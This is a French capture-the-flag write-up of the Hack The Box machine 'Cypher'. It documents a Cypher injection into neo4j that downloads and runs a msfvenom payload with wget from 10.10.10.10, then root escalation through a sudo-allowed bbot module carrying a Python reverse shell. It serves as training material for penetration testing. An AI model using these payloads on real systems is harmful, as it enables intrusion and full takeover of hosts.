Voici un compte rendu sur la box « Cypher » de Hack The Box. C’est un challenge classé « Moyen » se focalisant sur l’environnement neo4j.
Accès Initial
On commence par réaliser un scan réseau avec Nmap :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: GRAPH ASM
Seulement deux ports sont ouverts, le port 80 et le port 22. Pour le port 80 il semble abriter un serveur web nginx :
Premier reflexe en découvrant une page web, on lance une découverte de chemins :
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u http://cypher.htb/FUZZ
index
login
api
about
demo
.
testing
On découvre rapidement le chemin « testing », qui lorsqu’on se rend dessus, affiche un « directory listing » :
Lorsqu’on analyse une application web peu connue, il est intéréssant d’utiliser les outils de développeur pour comprendre le fonctionnement du système. Si on s’intéresse à la page de connexion (view-source:http://cypher.htb/login) on remarque une chose :
Il s’agit d’une requête POST vers une terminaison API nommée api/auth. Le message sous la balise d’ouverture <script> indique que les comptes utilisateurs sont certainement stockés à l’aide de l’extension neo4j Cypher (dont on a trouvé le .jar précédemment).
Les bases de données Cypher sont sous forme de graphs. Voici deux ressources très bien rédigées qui expliquent bien le fonctionnement de Cypher :
On comprend alors que le formulaire passe certainement ces arguments à l’API auth qui execute une requete sur la base de données Cypher et qui fournit le résultat sous forme de code http. On voit aussi que r.responseText est affiché si le code http est différent de 401, permettant de dévoiler le fonctionnement de l’application.
On peut bêtement essayer les combinaisons les plus répandues, des fois que des identifiants par défaut soient utilisés.
La méthode précédente ne faisant pas mouche, essayons alors de causer une erreur (en rajoutant simplement un apostrophe ou « simple quote ») :
Visiblement, l’application n’assainit pas les entrées utilisateur et cela permet d’avoir un message d’erreur très verbeux.
{message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash" ^}
C’est ici que tout prend sens. Le JAR trouvé précédemment peut alors être utilisé dans la requête Cypher pour executer des commandes sur le système hôte. Pour rappel, la fonction custom.getUrlStatusCode est vulnérable à une injection :
Dans cet exemple bénin , une fois que le curl vers google.fr sera terminé, un nouveau cul vers un serveur web malicieux sera exécuté. Dans les logs du serveur web malicieux on verra apparaître une requete provenant de la cible demandant GET /test.
Pour rendre tout cela vraiment utile, on va devoir créer une injection Cypher qui appelle la fonction getUrlStatusCode.
' OR 1=1 WITH h CALL custom.getUrlStatusCode("http://10.10.10.10/$(ls /tmp | base64) ; wget http://10.10.10.10/exploit.elf -O /tmp/exploit.elf ; chmod +x /tmp/exploit.elf ; /tmp/exploit.elf") YIELD statusCode RETURN h.value AS hash, statusCode//
Cette injection va chercher un payload (généré avec msfvenom) sur un serveur web malicieux, l’enregistre dans /tmp, ajoute le droit d’execution, puis finit par l’exécuter. On reçoit alors une réponse sur le « listener » netcat.
Premier drapeau : user.txt
Le shell obtenu est un shell en tant que neo4j. Le système hôte étant mal configuré, l’utilisateur neo4j a accès à un fichier /home/graphasm/bbot_preset.yml :
Le champ password semble contenir un mot de passe chiffré, mais il n’en est rien, il est utilisable tel quel avec su graphasm.
De cette façon, on peut obtiens un shell et on récupère le drapeau user.txt :
Élevation de privilèges
Le but ici est de devenir root pour récupérer le drapeau. Nous avons le mot de passe du compte graphasm on peut alors tenter sudo -l :
Visisblement, l’utilisateur peut utiliser l’utilitaire bbot en tant que root :
(ALL) NOPASSWD: /usr/local/bin/bbot
Petit aparté, il est possible d’effectuer un « quick win » en utilisant bbot avec l’option –targets qui accepte un fichier en tant qu’argument. Ici il est lancé avec root donc on peut lire tous les fichiers du système.
BBOT est un outil permettant de réaliser de multiples scans sur des systèmes informatiques, il combine un large éventail d’outils, voir ici la liste complète. Entièrement confectionné en Python, il utilise des modules sous formes de fichiers indépendants (comme des plugins) permettant de pouvoir facilement étendre ces fonctionnalités.
Le vecteur d’élévation de privilège que je propose repose sur quelques prérequis :
La configuration de /etc/sudoers doit permettre d’utiliser bbot sans restrictions
bbot doit permettre de lire de modules personnalisés, en dehors de l’emplacement par défaut
On va simplement prendre celui dans l’exemple, il fera parfaitement l’affaire en y effectuant un simple ajout, à la ligne 3 :
from bbot.modules.base import BaseModule
# -------- AJOUT D'UN REVERSE SHELL ---------
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
# ---------FIN DE MODIFICATION --------------
class whois(BaseModule):
watched_events = ["DNS_NAME"] # watch for DNS_NAME events
produced_events = ["WHOIS"] # we produce WHOIS events
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""} # module config options
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True # only run once per domain
base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"
# one-time setup - runs at the beginning of the scan
async def setup(self):
self.api_key = self.config.get("api_key")
if not self.api_key:
# soft-fail if no API key is set
return None, "Must set API key"
async def handle_event(self, event):
self.hugesuccess(f"Got {event} (event.data: {event.data})")
_, domain = self.helpers.split_domain(event.data)
url = f"{self.base_url}?apiKey={self.api_key}&domainName={domain}&outputFormat=JSON"
self.hugeinfo(f"Visiting {url}")
response = await self.helpers.request(url)
if response is not None:
await self.emit_event(response.json(), "WHOIS", parent=event)
On créer le fichier suivant en tant que /home/graphasm/preset.yml
# load BBOT modules from these additional paths
module_dirs:
- /home/graphasm/my_modules
Il ne reste plus qu’à exécuter bbot :
sudo bbot -p /home/graphasm/preset.yml -m whois
TADA ! On reçoit alors un shell en tant que root sur le listener.
Second drapeau : root.txt
Maintenant qu’on possède un shell privilégié, on peut récupérer le second drapeau :
Même si comme on l’a vu plus haut, il suffisait d’une simple commande pour valider le challenge.
Conslusion
Même si la difficulté est considérée « moyenne », j’ai trouvé un écart certain de complexité entre l’accès initial et l’élévation de privilèges. Réussir à comprendre qu’il fallait utiliser la fonction getUrlStatusCode à l’intérieur de l’injection Cypher (nouveau pour ma part) n’était pas chose simple ! Pour l’escalade de privilège, il fallait surtout bien lire la doc de l’outil.
Florent
Passionné de nouvelles technologies depuis mon enfance j'aime partager mes avis, connaissances ou expériences dans ce domaine.